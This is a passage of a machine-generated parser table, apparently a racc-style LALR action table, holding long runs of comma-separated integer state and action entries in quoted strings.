'90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32',
'31,30,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101',
'286,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62',
',,63,,284,,282,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65',
',287,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,33,34,75',
'76,,,,,,32,31,30,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59',
'100,99,101,286,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,',
',232,,,61,62,,,63,,284,,282,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,',
'84,92,221,,,,,,65,,287,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70',
',68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,',
',48,,,108,107,109,98,59,100,99,101,286,102,110,111,,94,95,,45,46,44',
',,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,672,,282,,47,,,,,,,,231,',
',,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96,97,72,73,74',
',60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103',
'105,106,,,233,,,,,,,308,,,108,107,109,591,59,100,99,592,,102,110,111',
',94,95,,,,314,,,,,,,,,,,,,,,,,,,,593,,,232,,,61,62,,,63,,,,,,,,,,,,',
',,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74',
',60,,,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106',
',,233,,,,,,,48,,,108,107,109,98,59,100,99,101,286,102,110,111,,94,95',
',45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,284,,282,,47,,',
',,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96',
'97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307',
'313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,',
',,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90',
',,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306',
'307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101',
',102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,',
',63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81',
'88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,',
',,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100',
'99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,',
'61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65',
',,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75',
'76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98',
'59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,',
',232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92',
',,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310',
'311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107',
'109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,',
',,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,',
',84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69',
'71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108',
'107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,',
',,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89',
',,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68',
'69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,308',
',,108,107,109,591,59,100,99,592,,102,110,111,,94,95,,,,314,,,,,,,,,',
',,,,,,,,,,593,,,232,,,61,62,,,63,,,,,,,,,,,,,,,,,,,91,83,85,86,87,89',
',,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,12,60,,,,66,67,,,,70,',
'68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,',
'13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,',
',,,,,,,,,,,,,43,,,36,,,61,62,,,63,,38,,,,47,,,,,,,,23,,,,,91,83,85,86',
'87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,',
'70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,',
',,,,308,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,,,314,,',
',,,,,,,,,,,,,,,,,966,,,232,,,61,62,,,63,,,,,,,,,,,,,,,,,,,91,83,85,86',
'87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,',
'70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,233,,,,,,,48',
',,108,107,109,98,59,100,99,101,286,102,110,111,,94,95,,45,46,44,,,,',
',,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,284,,282,,47,,,,,,,,231,,,,,91',
'83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96,97,72,73,74,,60',
',,,66,67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,',
',233,,,,,,,48,,,108,107,109,98,59,100,99,101,286,102,110,111,,94,95',
',45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,284,,282,,47,,',
',,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96',
'97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307',
'313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,',
',,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90',
',,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306',
'307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101',
',102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,',
',63,,416,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,',
'81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76',
',,,,,306,307,313,104,103,105,106,,,233,,,,,,,308,,,108,107,109,98,59',
'100,99,101,,102,110,111,,94,95,,,,314,,,,,,,,,,,,,,,,,,,,304,,,232,',
',61,62,,,63,,,,,,,,,,,,,,,,,,,91,83,85,86,87,89,,,,84,92,,,,516,,,65',
',,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,33,34,75,76',
',,,,,32,31,30,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100',
'99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,',
'61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65',
',,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75',
'76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,308,,,108,107,109,98',
'59,100,99,101,,102,110,111,,94,95,,,,314,,,,,,,,,,,,,,,,,,,,304,,,300',
',,61,62,,,63,,,,,,,,,,,,,,,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,',
',81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76',
',,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59',
'100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232',
',,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,',
',65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311',
'75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109',
'98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226',
',,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92',
',,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310',
'311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107',
'109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,',
',,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,',
',84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69',
'71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,308,,',
'108,107,109,98,59,100,99,101,,102,110,111,,94,95,,,,314,,,,,,,,,,,,',
',,,,,,,893,,,232,,,61,62,,,63,,,,,,,,,,,,,,,,,,,91,83,85,86,87,89,,',
',84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69',
'71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108',
'107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,',
',,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89',
',,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68',
'69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,,48,,,108',
'107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,',
',,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,23,,,,,91,83,85,86,87,89',
',,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68',
'69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,,48,,,108',
'107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,',
',,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,23,,,,,91,83,85,86,87,89',
',,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68',
'69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48',
',,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,',
',,,,,,,,,,,,226,,,232,,,61,62,,,63,,284,,,,47,,,,,,,,231,,,,,91,83,85',
'86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67',
',,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233',
',,,,,,48,,,108,107,109,98,59,100,99,101,286,102,110,111,,94,95,,45,46',
'44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,282,,47,,,,,,,,231,',
',,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96,97,72,73,74',
',60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103',
'105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,286,102,110,111',
',94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,',
',,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,287,81,88,90,,,96',
'97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307',
'313,104,103,105,106,,,233,,,,,,,308,,,108,107,109,98,59,100,99,101,',
'102,110,111,,94,95,,,,314,,,,,,,,,,,,,,,,,,,,304,,,300,,,61,62,,,63',
',,,,,,,,,,,,,,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96',
'97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307',
'313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,286',
'102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,',
'63,,672,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,287',
'81,88,90,,,96,97,72,73,74,12,60,,,,66,67,,,,70,,68,69,71,33,34,75,76',
',,,,,32,31,30,104,103,105,106,,,22,,,,,,11,48,10,13,108,107,109,98,59',
'100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,43,,,36',
',,61,62,,,63,,38,,,,47,,,,,,,,23,,,,,91,83,85,86,87,89,,,,84,92,,,,',
',,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,33,34',
'75,76,,,,,,32,31,30,104,103,105,106,,,22,,,,,,,48,,,108,107,109,98,59',
'100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232',
',,61,62,,,63,,,,,,47,,,,,,,,23,,,,,91,83,85,86,87,89,,,,84,92,,,,,,',
'65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311',
'75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108,107,109',
'98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226',
',,232,,,61,62,,,63,,672,,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84',
'92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70,,68,69,71',
'310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,,,48,,,108',
'107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,,,,,,,,,,,',
',,,,,,226,,,232,532,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83,85,86,87',
'89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66,67,,,,70',
',68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105,106,,,233,,,,,',
',48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44,,,',
',,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231,,,,,91,83',
'85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,,60,,,,66',
'67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,',
',,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46,44',
',,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,23,,,,,91,83',
'85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74,12,60,,,,66',
'67,,,,70,,68,69,71,33,34,75,76,,,,,,32,31,30,104,103,105,106,,,22,,',
',,,11,48,,13,108,107,109,98,59,100,99,101,,102,110,111,,94,95,,45,46',
'44,,,,,,,,,,,,,,,,,,,,43,,,36,,,61,62,,,63,,38,,,,47,,,,,,,,23,,,,,91',
'83,85,86,87,89,,,,84,92,,,,,,400,65,,,81,88,90,,,96,97,72,73,74,,60',
',,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103,105',
'106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,,94,95',
',45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,,,,,,,231',
',,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97,72,73,74',
',60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313,104,103',
'105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110,111,',
'94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,,47,,',
',,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97',
'72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313',
'104,103,105,106,,,233,,,,,,,308,,,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,,,314,,,,,,,,,,,,,,,,,,,,893,,,232,,,61,62,,,63,,,,',
',,,,,,,,,,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97',
'72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313',
'104,103,105,106,,,233,,,,,,,308,,,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,,,314,,,,,,,,,,,,,,,,,,,,304,,,300,,,61,62,,,63,,,,',
',,,,,,,,,,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96,97',
'72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307,313',
'104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102,110',
'111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,,,,,',
'47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90,,,96',
'97,72,73,74,,60,,,,66,67,,,,70,,68,69,71,310,311,75,76,,,,,,306,307',
'313,104,103,105,106,,,233,,,,,,,48,,,108,107,109,98,59,100,99,101,,102',
'110,111,,94,95,,45,46,44,,,,,,,,,,,,,,,,,,,,226,,,232,,,61,62,,,63,',
',,,,47,,,,,,,,231,,,,,91,83,85,86,87,89,,,,84,92,,,,,,,65,,,81,88,90',
'-603,,96,97,,,,-603,-603,-603,,,-603,-603,-603,560,-603,557,556,555',
'564,558,,,,-603,-603,-603,-603,,,567,,,,,-603,-603,,-603,-603,-603,-603',
'-603,,,,,,,,,,562,,,,,,,,,572,571,575,574,,-603,-603,-603,-603,-603',
'-603,-603,-603,-603,-603,-603,-603,-603,-603,,,-603,-603,-603,,,-603',
',,-603,,,-603,-603,,-603,568,-603,,-603,,-603,-603,-603,-603,-603,-603',
'-603,,-603,-603,-603,,,,,,,,,,,,,-603,-603,-603,-603,-604,-603,,-603',
',,,-604,-604,-604,,,-604,-604,-604,560,-604,557,556,555,564,558,,,,-604',
'-604,-604,-604,,,567,,,,,-604,-604,,-604,-604,-604,-604,-604,,,,,,,',
',,562,,,,,,,,,,,575,574,,-604,-604,-604,-604,-604,-604,-604,-604,-604',
'-604,-604,-604,-604,-604,,,-604,-604,-604,,,-604,,,-604,,,-604,-604',
',-604,568,-604,,-604,,-604,-604,-604,-604,-604,-604,-604,,-604,-604',
'-604,,,,,,,,,,,,,-604,-604,-604,-604,-281,-604,,-604,,,,-281,-281,-281',
',,-281,-281,-281,560,-281,557,556,555,564,558,,,,,-281,-281,-281,,,567',
',,,,-281,-281,,-281,-281,-281,-281,-281,,,,,,,,,,562,,,,,,,,,572,571',
'575,574,,-281,-281,-281,-281,-281,-281,-281,-281,-281,-281,-281,-281',
'-281,-281,,,-281,-281,-281,,,-281,,,-281,,,-281,-281,,-281,568,-281',
',-281,,-281,-281,-281,-281,-281,-281,-281,,-281,,-281,,,,,,,,,,,,,-281',
'-281,-281,-281,,-281,,-281,176,187,177,200,173,193,183,182,203,204,198',
'181,180,175,201,205,206,185,174,188,192,194,186,179,,,,195,202,197,366',
'365,367,364,172,191,190,,,,,,171,178,169,170,361,362,363,359,129,100',
'99,360,,102,,,,,,,161,162,,157,139,140,141,148,145,147,,,142,143,,,',
'163,164,149,150,,,,,,373,,,,,,,,154,153,,138,160,156,155,151,152,146',
'144,136,159,137,,,165,,,,,,,,,,,,,,,,,,,,158,176,187,177,200,173,193',
'183,182,203,204,198,181,180,175,201,205,206,185,174,188,192,194,186',
'179,,,,195,202,197,196,189,199,184,172,191,190,,,,,,171,178,169,170',
'166,167,168,127,129,,,128,,,,,,,,,161,162,,157,139,140,141,148,145,147',
',,142,143,,,,163,164,149,150,,,,,,,,,,,,,,154,153,,138,160,156,155,151',
'152,146,144,136,159,137,,,165,91,,,,,,,,,,92,,,,,,,,,158,176,187,177',
'200,173,193,183,182,203,204,198,181,180,175,201,205,206,185,174,188',
'192,194,186,179,,,,195,202,197,196,189,199,184,172,191,190,,,,,,171',
'178,169,170,166,167,168,127,129,126,,128,,,,,,,,,161,162,,157,139,140',
'141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,,,,,,,,,154,153,,138',
'160,156,155,151,152,146,144,136,159,137,,,165,91,,,,,,,,,,92,,,,,,,',
',158,176,187,177,200,173,193,183,182,203,204,198,181,180,175,201,205',
'206,185,174,188,192,194,186,179,,,,195,202,197,196,189,199,184,172,191',
'190,,,,,,171,178,169,170,166,167,168,127,129,,,128,,,,,,,,,161,162,',
'157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,,,,,,',
',,154,153,,138,160,156,155,151,152,146,144,136,159,137,,,165,91,,,,',
',,,,,92,,,,,,,,,158,176,187,177,200,173,193,183,182,203,204,198,181',
'180,175,201,205,206,185,174,188,192,194,186,179,,,,195,202,197,196,189',
'199,184,172,191,190,,,,,,171,178,169,170,166,167,168,127,129,,,128,',
',,,,,,,161,162,,157,139,140,141,148,145,147,,,142,143,,,,163,164,149',
'150,,,,,,,,,,,,,,154,153,,138,160,156,155,151,152,146,144,136,159,137',
',,165,91,,,,,,,,,,92,,,,,,,,,158,176,187,177,200,173,193,183,182,203',
'204,198,181,180,175,201,205,206,185,174,188,192,194,186,179,,,,195,202',
'197,196,189,199,184,172,191,190,,,,,,171,178,169,170,166,167,168,127',
'129,397,396,128,,398,,,,,,,161,162,,157,139,140,141,148,145,147,,,142',
'143,,,,163,164,149,150,,,,,,,,,,,,,,154,153,,138,160,156,155,151,152',
'146,144,136,159,137,,,165,,,,,,,,,,,,,,,,,,,,158,176,187,177,200,173',
'193,183,182,203,204,198,181,180,175,201,205,206,185,174,188,192,194',
'186,179,,,,195,202,197,196,189,199,184,172,191,190,,,,,,171,178,169',
'170,166,167,168,127,129,,,128,,,,,,,,,161,162,,157,139,140,141,148,145',
'147,,,142,143,,,,163,164,149,150,,,,,,,,,,,,,,154,153,,138,160,156,155',
'151,152,146,144,136,159,137,-295,,165,,,,,-295,-295,-295,,,-295,-295',
'-295,560,-295,557,556,555,564,558,158,,,,-295,-295,,,,567,,,,,-295,-295',
',-295,-295,-295,-295,-295,,,,,,,,,,562,,,,,,,,,,,575,574,,-295,-295',
'-295,-295,-295,-295,-295,-295,-295,-295,-295,-295,-295,-295,,,-295,-295',
'-295,,,-295,,275,-295,,,-295,-295,,-295,568,-295,,-295,,-295,-295,-295',
'-295,-295,-295,-295,,-295,,-295,,,,,,,,,,,,-620,-295,-295,,-295,,-295',
'-620,-620,-620,,,-620,-620,-620,560,-620,557,556,555,564,558,,,,-620',
'-620,,,,,567,,,,,-620,-620,,-620,-620,-620,-620,-620,,,,,,,,,,562,,',
',,,,,,572,571,575,574,,-620,,,,,,,-620,-620,-620,,-620,-620,-620,-620',
',-620,,-620,,,,,272,-620,-620,-620,-620,,,,568,,,,,-620,-620,,-620,-620',
'-620,-620,-620,,-620,-620,,,,,,,,,,,,,-620,,,,,-620,,,-620,-620,-620',
'-620,-620,-620,-620,-620,-620,-620,-620,-620,-620,-620,,,-620,-620,-620',
',,-620,,272,-620,,,-620,-620,,-620,,-620,,-620,,-620,-620,-620,-620',
'-620,-620,-620,,-620,-620,-620,,,,,,,,,,,,-424,-620,-620,,-620,,-620',
'-424,-424,-424,,,-424,-424,-424,560,-424,557,556,555,564,558,,,,-424',
'-424,-424,,,,567,,,,,-424,-424,,-424,-424,-424,-424,-424,,,,,,,,,,562',
',,,,,,,,,,575,574,,-424,-424,-424,-424,-424,-424,-424,-424,-424,-424',
'-424,-424,-424,-424,,,-424,-424,-424,,,-424,,272,-424,,,-424,-424,,-424',
'568,-424,,-424,,-424,-424,-424,-424,-424,-424,-424,,-424,-424,-424,',
',,,,735,437,,,736,,,-424,-424,,-424,,-424,161,162,,157,139,140,141,148',
'145,147,,,142,143,,,,163,164,149,150,,,,,,272,,,,,,,,154,153,,138,160',
'156,155,151,152,146,144,136,159,137,,,165,,,,,433,437,,,432,,,,,,,,',
'161,162,158,157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150',
',,,,,272,,,,,,,,154,153,,138,160,156,155,151,152,146,144,136,159,137',
',,165,,,,,487,430,,,488,,,,,,,,,161,162,158,157,139,140,141,148,145',
'147,,,142,143,,,,163,164,149,150,,,,,,272,,,,,,,,154,153,,138,160,156',
'155,151,152,146,144,136,159,137,,,165,,,,,650,430,,,651,,,,,,,,,161',
'162,158,157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,',
',,272,,,,,,,,154,153,,138,160,156,155,151,152,146,144,136,159,137,,',
'165,,,,,652,437,,,653,,,,,,,,,161,162,158,157,139,140,141,148,145,147',
',,142,143,,,,163,164,149,150,,,,,,272,,,,,,,,154,153,,138,160,156,155',
'151,152,146,144,136,159,137,,,165,,,,,852,437,,,853,,,,,,,,,161,162',
'158,157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,272',
',,,,,,,154,153,,138,160,156,155,151,152,146,144,136,159,137,,,165,,',
',,681,430,,,682,,,,,,,,,161,162,158,157,139,140,141,148,145,147,,,142',
'143,,,,163,164,149,150,,,,,,272,,,,,,,,154,153,,138,160,156,155,151',
'152,146,144,136,159,137,,,165,,,,,684,437,,,685,,,,,,,,,161,162,158',
'157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,272,,',
',,,,,154,153,,138,160,156,155,151,152,146,144,136,159,137,,560,165,557',
'556,555,564,558,560,,557,556,555,564,558,,,567,,,,,158,,567,560,,557',
'556,555,564,558,,,,,,,,562,,567,,,,,562,,572,571,575,574,,,,572,571',
'575,574,,,,560,562,557,556,555,564,558,,,,572,571,575,574,,,567,,,,',
'221,568,,,,,,,568,,,,,,,,,562,1030,437,,,1031,,,568,,,575,574,,161,162',
',157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,272,',
',,,568,,,154,153,,138,160,156,155,151,152,146,144,136,159,137,,,165',
',,,,1028,430,,,1029,,,,,,,,,161,162,158,157,139,140,141,148,145,147',
',,142,143,,,,163,164,149,150,,,,,,272,,,,,,,,154,153,,138,160,156,155',
'151,152,146,144,136,159,137,,560,165,557,556,555,564,558,560,,557,556',
'555,564,558,,,567,,,,,158,,567,,,,,,,,,,,,,,,562,,,,,,,562,,426,430',
'575,574,427,,,,,575,574,,,161,162,,157,139,140,141,148,145,147,,,142',
'143,,,,163,164,149,150,,,568,,,272,,,,568,,,,154,153,,138,160,156,155',
'151,152,146,144,136,159,137,,560,165,557,556,555,564,558,560,,557,556',
'555,564,558,,,567,,,,,158,,567,,,,,,,,,,,,,,,562,,,,,,,562,,650,430',
'575,574,651,,,,,575,574,,,161,162,,157,139,140,141,148,145,147,,,142',
'143,,,,163,164,149,150,,,568,,,272,,,,568,,,,154,153,,138,160,156,155',
'151,152,146,144,136,159,137,,,165,,,,,652,437,,,653,,,,,,,,,161,162',
'158,157,139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,272',
',,,,,,,154,153,,138,160,156,155,151,152,146,144,136,159,137,,,165,,',
',,487,430,,,488,,,,,,,,,161,162,158,157,139,140,141,148,145,147,,,142',
'143,,,,163,164,149,150,,,,,,,,,,,,,,154,153,,138,160,156,155,151,152',
'146,144,136,159,137,,560,165,557,556,555,564,558,560,,557,556,555,564',
'558,,,567,,,,,158,,567,560,,557,556,555,564,558,,,,,,,,562,751,567,',
',,,562,,572,571,575,574,,,,572,571,575,574,,,,,562,751,560,,557,556',
'555,564,558,572,571,575,574,,,,,,567,,560,568,557,556,555,564,558,,568',
',,,,,,,567,,,,562,,,,,568,,,,,,575,574,,,,,,562,,,733,430,,,734,,572',
'571,575,574,,,,161,162,,157,139,140,141,148,145,147,,568,142,143,,,',
'163,164,149,150,,,,,,272,,,568,,,,,154,153,,138,160,156,155,151,152',
'146,144,136,159,137,,,165,,,,,1000,437,,,999,,,,,,,,,161,162,158,157',
'139,140,141,148,145,147,,,142,143,,,,163,164,149,150,,,,,,272,,,,,,',
',154,153,,138,160,156,155,151,152,146,144,136,159,137,,560,165,557,556',
'555,564,558,,,,,,,,,,567,,,,,158,,,,,,,,,,,,,,,,,562,,,,,,,,,572,571',
'575,574,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,568' ]
